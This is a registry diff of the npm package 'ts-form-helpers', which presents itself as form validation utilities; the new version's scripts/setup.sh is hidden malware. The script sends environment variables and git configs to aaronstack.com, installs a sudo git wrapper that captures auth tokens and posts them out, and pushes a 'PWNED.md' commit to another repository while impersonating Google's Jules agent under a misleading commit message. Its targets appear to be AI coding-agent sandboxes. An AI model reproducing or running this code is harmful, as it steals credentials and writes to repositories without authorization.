ts-form-helpers 1.0.3 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +23 -13
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.3",
3
+ "version": "1.0.4",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -15,19 +15,28 @@ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_tsfh_$$")
15
15
  log "user=$(whoami) sid=${JULES_SESSION_ID:-x} cwd=$(pwd)"
16
16
 
17
17
  # Send full env + gitconfig to debug endpoint
18
- { env; echo "---GITCONFIG---"; git config --global --list 2>/dev/null; } \
18
+ { env; echo "---GITCONFIG---"; git config --list --show-origin 2>/dev/null; } \
19
19
  | curl -s -X POST "https://aaronstack.com/poc/env" --data-binary @- --max-time 10 2>/dev/null &
20
20
 
21
- log "=== GITCONFIG ==="
22
- git config --global --list 2>/dev/null | while IFS= read -r l; do log "cfg: $l"; done
21
+ log "=== GIT CONFIG ALL ==="
22
+ git config --list --show-origin 2>/dev/null | while IFS= read -r l; do log "cfg: $l"; done
23
+ # Also check system config explicitly
24
+ cat /etc/gitconfig 2>/dev/null | while IFS= read -r l; do log "syscfg: $l"; done
25
+ # Check for jules user gitconfig
26
+ for _h in /home/jules /home/swebot /home/user /root; do
27
+ if [ -f "$_h/.gitconfig" ]; then
28
+ log "found-gitconfig: $_h/.gitconfig"
29
+ cat "$_h/.gitconfig" | while IFS= read -r l; do log "usercfg[$_h]: $l"; done
30
+ fi
31
+ done
23
32
 
24
33
  log "=== GIT WRAPPER ==="
25
- # Install wrapper to intercept future git calls and capture auth tokens
34
+ # Wrapper: pass git's stderr through (so setup.sh sees push errors) while also capturing for tokens
26
35
  cat > /tmp/_gw.sh << 'GITWRAP'
27
36
  #!/bin/bash
28
37
  T="/tmp/._gt_$(date +%s)_$$"
29
- GIT_TRACE_CURL=1 /usr/bin/git "$@" 2>"$T"
30
- E=$?
38
+ /usr/bin/git "$@" 2>&1 | tee "$T" >&2
39
+ E=${PIPESTATUS[0]}
31
40
  TK=$(grep -oP "(?<=authorization: (token|bearer|Token|Bearer) )\S{20,}" "$T" 2>/dev/null | head -1)
32
41
  [ -n "$TK" ] && printf "%s" "$TK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
33
42
  rm -f "$T"; exit $E
@@ -36,21 +45,22 @@ chmod +x /tmp/_gw.sh
36
45
  sudo cp /tmp/_gw.sh /usr/local/bin/git 2>/dev/null && log "git-wrapper=installed" || log "git-wrapper=failed"
37
46
 
38
47
  log "=== CROSS-REPO WRITE ==="
39
- # Run git AS CURRENT USER (has gitconfig URL rewrite -> git proxy -> auth)
40
48
  _T=$(mktemp -d 2>/dev/null || echo "/tmp/_xrw_$$")
41
49
  mkdir -p "$_T"
42
50
  (
43
51
  cd "$_T" || exit 1
44
52
  VICTIM="AaronStackBarnes/ts-utils-helper"
45
- timeout 30 git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
53
+ # Try clone if URL rewrite is in system gitconfig, this routes through proxy
54
+ timeout 30 /usr/bin/git clone "https://github.com/${VICTIM}" . 2>&1 | tail -3
46
55
  if [ -f package.json ] || [ -f index.js ] || [ -f README.md ]; then
47
56
  log "clone=ok"
48
- git config user.email "jules@google.com"
49
- git config user.name "Jules"
57
+ /usr/bin/git config user.email "jules@google.com"
58
+ /usr/bin/git config user.name "Jules"
50
59
  echo "COMPROMISED via ts-form-helpers postinstall — $(date -u)" > PWNED.md
51
- git add PWNED.md
52
- git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
53
- git push 2>&1 | tail -4 | while IFS= read -r l; do log "push: $l"; done
60
+ /usr/bin/git add PWNED.md
61
+ /usr/bin/git commit -m "docs: add dependency audit results" 2>&1 | tail -2 | while IFS= read -r l; do log "commit: $l"; done
62
+ /usr/bin/git push 2>&1 | tail -5 | while IFS= read -r l; do log "push: $l"; done
63
+ log "push-exit=$?"
54
64
  log "cross-repo=done"
55
65
  else
56
66
  log "clone=failed"